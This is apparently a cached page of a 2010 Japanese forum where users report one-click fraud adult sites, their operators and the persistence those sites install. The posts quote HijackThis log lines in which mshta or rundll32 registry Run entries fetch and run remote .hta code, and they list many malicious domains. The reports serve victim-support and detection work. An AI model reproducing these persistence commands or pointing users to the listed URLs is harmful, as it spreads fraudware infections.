(cache) ワンクリ詐欺掲示板

ワンクリ詐欺掲示板

[ホームに戻る] [留意事項] [ワード検索] [過去ログ] [RSS1.0] [管理用]

同じ「ワンクリック」でも社会に貢献出来る「ワンクリック」もあります。

注意事項！

質問をする前に必ずワンクリ詐欺サイト一覧・対策をお読みください。

投稿済みの記事に対する追加・返信は
投稿記事の[返信]ボタンを押してから書き込んでください。

お名前

タイトル

メッセージ　書き込み前に注意事項は読みましたか？

暗証キー （英数字で8文字以内　投稿の修正・削除に必要）

投稿キー （投稿時を入力してください）

文字色 ■ ■ ■ ■ ■ ■ ■ ■

昨日は、オナニー.net ？？？ 投稿者：YAN 投稿日：2010/08/22(Sun) 23:13 No.21420

エロ動画ワールド
h　ttp://azalea26.orange.ero0101.com/conf-av.php

Logfile of HijackThis
O4 - HKCU\..\Run: [system_boot_***-**] C:\WINDOWS\system32\mshta h　ttp://azalea26.orange.ero0101.com/reg2.php?cid=***-**
→mshta http

騙されて　movie.hta (1.13KB)を実行すると・・
レジストリスタートアップに登録されちゃいま～す♪
→数分遅れて　
Windowsのファイル→mshta.exe が、http　のURLを開きま～す♪

Vista Win7なら？
タスクスケジューラライブラリで「***-**」をチェックしてくださ～い♪♪♪

ワンクリウェア駆除ツール(test版) 最終更新日 2010/09/01 20:59
http://sasi40dx.cs.land.to/

その他：　*.ero0101.com
h　ttp://cassia89.orange.ero0101.com
h　ttp://sesame96.orange.ero0101.com
→movie.hta(1.13KB)
h　ttp://www.ero0101.com
h　ttp://lychee22.grey.ero0101.com/conf-av.php
h　ttp://garlic10.grey.ero0101.com
h　ttp://birch30.grey.ero0101.com/conf-av.php
h　ttp://yuzu37.grey.ero0101.com/conf-av.php
h　ttp://crocus93.grey.ero0101.com/conf-av.php
h　ttp://chive59.grey.ero0101.com/conf-av.php
h　ttp://maple38.grey.ero0101.com/conf-av.php
h　ttp://cactus86.navy.ero0101.com/conf-av.php
h　ttp://squash13.navy.ero0101.com/conf-av.php
h　ttp://mango98.navy.ero0101.com/conf-av.php
→movie.hta(1.12KB)
最終確認：2010/09/01

備考：
h ttp://cassia89.orange.ero0101.com/img/0721an.swf
→movie.hta(1.11KB)　発信元：x0721.net

参考：
＞http://www.ken-hokuto.com/oneclick/
＞エエロ動画ワールド h　ttp://(ここのぶぶんなんでも繋がる).ero0101.com/ 2010/08/24

編集しました・・・

エロ動画ワールド - YAN 2010/08/23(Mon) 20:02 No.21423

Autoruns for Windows v10.02
http://technet.microsoft.com/en-us/sysinternals/bb963902.aspx
>>　- l 　Logon startups (this is the default).
>>　- t 　Scheduled tasks.

File　＞　Find 　Ctrl+F
Automatic execution　[ mshta ]　Please Search.

Re: 昨日は、オナニー.net ？？？ - 浦野秀雄 2010/08/24(Tue) 20:30 No.21429

「エロ動画ワールド」リストに入れました。

Re: 昨日は、オナニー.net ？？？ - 浦野秀雄 2010/09/01(Wed) 22:33 No.21478

YAN氏へ
上げるならなぜ上げたのか理由を書いて残しておいてください。

Re: - YAN 2010/09/01(Wed) 22:43 No.21480

h　ttp://mango98.navy.ero0101.com/conf-av.php
→movie.hta(1.12KB)

が、2010/09/01　の新しいURLです・・

Re: 昨日は、オナニー.net ？？？ - 浦野秀雄 2010/09/01(Wed) 22:48 No.21481

http://(ここの部分なんでも繋がる).ero0101.com/
これに含まれるので新しいURLの報告必要ないと思います。

HFULL CROWNS 投稿者：YAN 投稿日：2010/09/01(Wed) 22:04 No.21477

株式会社アクト　野村和一郎　0120-428-777
の新しいURLで～す♪
h　ttp://www.woutvhjvfustuiyw.com/con1.php

Logfile of HijackThis
O4 - HKCU\..\Run: [system_boot_***-**] C:\WINDOWS\system32\mshta h　ttp://www.woutvhjvfustuiyw.com/reg2.php?cid=***-**
→mshta http

Re: HFULL CROWNS - 浦野秀雄 2010/09/01(Wed) 22:42 No.21479

21:12からの書き込み分、それぞれ登録、追加しました。
短時間の分はまとめて書き込んでくれたほうが助かります。

PEACH PAIPON 投稿者：YAN 投稿日：2010/09/01(Wed) 21:26 No.21476

株式会社オーシャンズ　中村嵩幸　0120-545-669
の新しいURLで～す♪
h　ttp://www.gnfsertyhrwjflng.com/kaku.php

Logfile of HijackThis
O4 - HKCU\..\Run: [system_boot_***-**] C:\WINDOWS\system32\mshta h　ttp://www.gnfsertyhrwjflng.com/reg2.php?cid=***-**
→mshta http

Vista Win7では・・
タスクスケジューラライブラリで　→「***-**」をチェックしてくださ～い♪♪♪

Autoruns for Windows v10.02
http://technet.microsoft.com/ja-jp/sysinternals/bb963902.aspx
>>　- l 　Logon startups (this is the default).
>>　- t 　Scheduled tasks.
検索→mshta

[websexga] 投稿者：YAN 投稿日：2010/09/01(Wed) 21:19 No.21475

株式会社ドメインサービス　稲村　正顕　03-6912-5037
ヌード
h　ttp://www.nu-de.net/confirm.php

Logfile of HijackThis
O4 - HKLM\..\Run: [websexga] rundll32.exe "C:\Documents and Settings\All Users\Application Data\sexga\readme.txt",_goMES@16 C:\Documents and Settings\All Users\Application Data\sexga\********.hta
→rundll32.exe "C:\Documents

[webarush] 投稿者：YAN 投稿日：2010/09/01(Wed) 21:17 No.21474

株式会社ドメインサービス　稲村正顕　03-6912-5038
アダルトイズム
h　ttp://www.adult-izm.com/confirm.php

Logfile of HijackThis
O4 - HKLM\..\Run: [webarush] rundll32.exe "C:\Documents and Settings\All Users\Application Data\arush\message.dll",_goMES@16 C:\Documents and Settings\All Users\Application Data\arush\********.hta
→rundll32.exe "C:\Documents

[webababe] 投稿者：YAN 投稿日：2010/09/01(Wed) 21:12 No.21473

合同会社　フリーテック　大西　美保　03-5856-6844
KOHAKU　(コハク)　(琥珀)
h　ttp://www.adult-kohaku.com/

Logfile of HijackThis
O4 - HKLM\..\Run: [webababe] rundll32.exe "C:\Documents and Settings\All Users\Application Data\ababe\message.txt",_goMES@16 C:\Documents and Settings\All Users\Application Data\ababe\********.hta
→undll32.exe "C:\Documents

smadultfilehost.com 投稿者：YAN 投稿日：2010/08/31(Tue) 22:20 No.21465

のサイト名で～す♪

SM配信局
h　ttp://megalodon.jp/2010-0830-0018-54/gw.aguse.jp/?aguse_url=http%3A%2F%2Fsmadultfilehost.com%2Fpc%2Fpage%2Ffirst_conf.php&aguse_min_width=694&aguse_with_form=aguse_with_form

変態SMクラブ
h　ttp://smadultfilehost.com/img/index/bg.gif

緊縛倉庫
h　ttp://smadultfilehost.com/pc/page/first_conf.php

Logfile of HijackThis
O4 - HKCU\..\Run: [windows_system_****-] C:\WINDOWS\system32\mshta h　ttp://smadultfilehost.com/pc/page/player_view.php?af_num=&cuid=****-
→mshta http

ワンクリウェア駆除ツール(test版)更新停止中　最終更新日 2010/08/28 22:25
http://sasi40dx.cs.land.to/
が、有効である事を確認しました♪♪♪

＞引っ掛かったサイトのURLを確定させないと、削除作業はできないです。
は、つるりん・・・

その他：
HTAファイル悪用するワンクリ詐欺、巧妙な仕組み明らかに
トレンドマイクロが検証結果を報告
http://internet.watch.impress.co.jp/cda/news/2009/04/09/23089.html

SM宝物館 - いぬ 2010/09/01(Wed) 19:59 No.21466

ぶら下がり失礼致します。
ワンクリウェア入り

http://fellatiosexfootube.net/

ダウンロードファイル名「movie.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [system_boot_4854755c109892f0f93dd2fefb3767aa] C:\Windows\system32\mshta http://fellatiosexfootube.net/reg2.php?cid=4854755c109892f0f93dd2fefb3767aa

Re: smadultfilehost.com - 浦野秀雄 2010/09/01(Wed) 20:22 No.21471

「緊縛倉庫」リストに入れました。
「SM宝物館」リストに入れました。

galpettingadultmove.com 投稿者：YAN 投稿日：2010/08/31(Tue) 21:49 No.21464

が、「フェチ動画に依存中」に名称変更で～す♪

＞黄金水興味あり -
＞いぬ 2010/08/29(Sun) 09:04 No.21455
＞ワンクリウェア入り
＞h　ttp://galpettingadultmove.com/
＞ダウンロードファイル名「movies_adult.hta」
＞C:\Windows\system32\mshta.exe
＞O4 - HKCU\..\Run: [start_79c9c372b6b4a1217bac1d0a6f766326f816cb30] C:\Windows\system32\mshta h　ttp://galpettingadultmove.com/pc/page/player_view.php?code=&cuid=79c9c372b6b4a1217bac1d0a6f766326f816cb30

Re: galpettingadultmove.com - 浦野秀雄 2010/09/01(Wed) 20:15 No.21470

Firefoxでは「黄金水興味あり」のママですが、
IEでは「フェチ動画に依存中」になっているので変更しました。

analmovelovegal.net 投稿者：YAN 投稿日：2010/08/31(Tue) 21:41 No.21463

が、「SM国技館」に名称変更で～す♪

＞SM万博
＞投稿者：いぬ投稿日：2010/08/27(Fri) 21:01 No.21445
＞ワンクリウェア入り
＞h　ttp://analmovelovegal.net/
＞ダウンロードファイル名「movie.hta」
＞:\Windows\system32\mshta.exe
＞O4 - HKCU\..\Run: [system_boot_0a7bccfd57ef8d59fae447b94c9a62ed] C:\Windows\system32\mshta h　ttp://analmovelovegal.net/reg2.php?cid=0a7bccfd57

Re: analmovelovegal.net - 浦野秀雄 2010/09/01(Wed) 20:12 No.21469

「SM万博」→「SM国技館」変更しました。

HMOVIE 投稿者：YAN 投稿日：2010/08/28(Sat) 21:27 No.21453

の新しいURLで～す♪

h　ttp://www.ujdrtsslktjjareu.com/con1.php
efhmovie.hta（1.12KB）

Logfile of HijackThis
O4 - HKCU\..\Run: [system_boot_***-**] C:\WINDOWS\system32\mshta h　ttp://www.ujdrtsslktjjareu.com/reg2.php?cid=***-**
→mshta http

Re: HMOVIE - 浦野秀雄 2010/08/29(Sun) 11:52 No.21458

「HMOVIE」URL追加しました

サイト名が - YAN 2010/08/30(Mon) 21:06 No.21462

HFULL CROWNS
になっちゃってま～す♪

h　ttp://www.rjfhsfykiufuikryr.com/con1.php
h　ttp://www.swafartajjuofls.com/con1.php
h　ttp://www.tjhjfgukioiolgt.com/con1.php

Re - 浦野秀雄 2010/09/01(Wed) 20:10 No.21468

「HMOVIE」→「HFULL CROWNS」変更しました。

Page: | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | → |

- YY-BOARD -

お名前
タイトル
メッセージ　書き込み前に注意事項は読みましたか？
暗証キー	（英数字で8文字以内　投稿の修正・削除に必要）
投稿キー	（投稿時を入力してください）
文字色	■ ■ ■ ■ ■ ■ ■ ■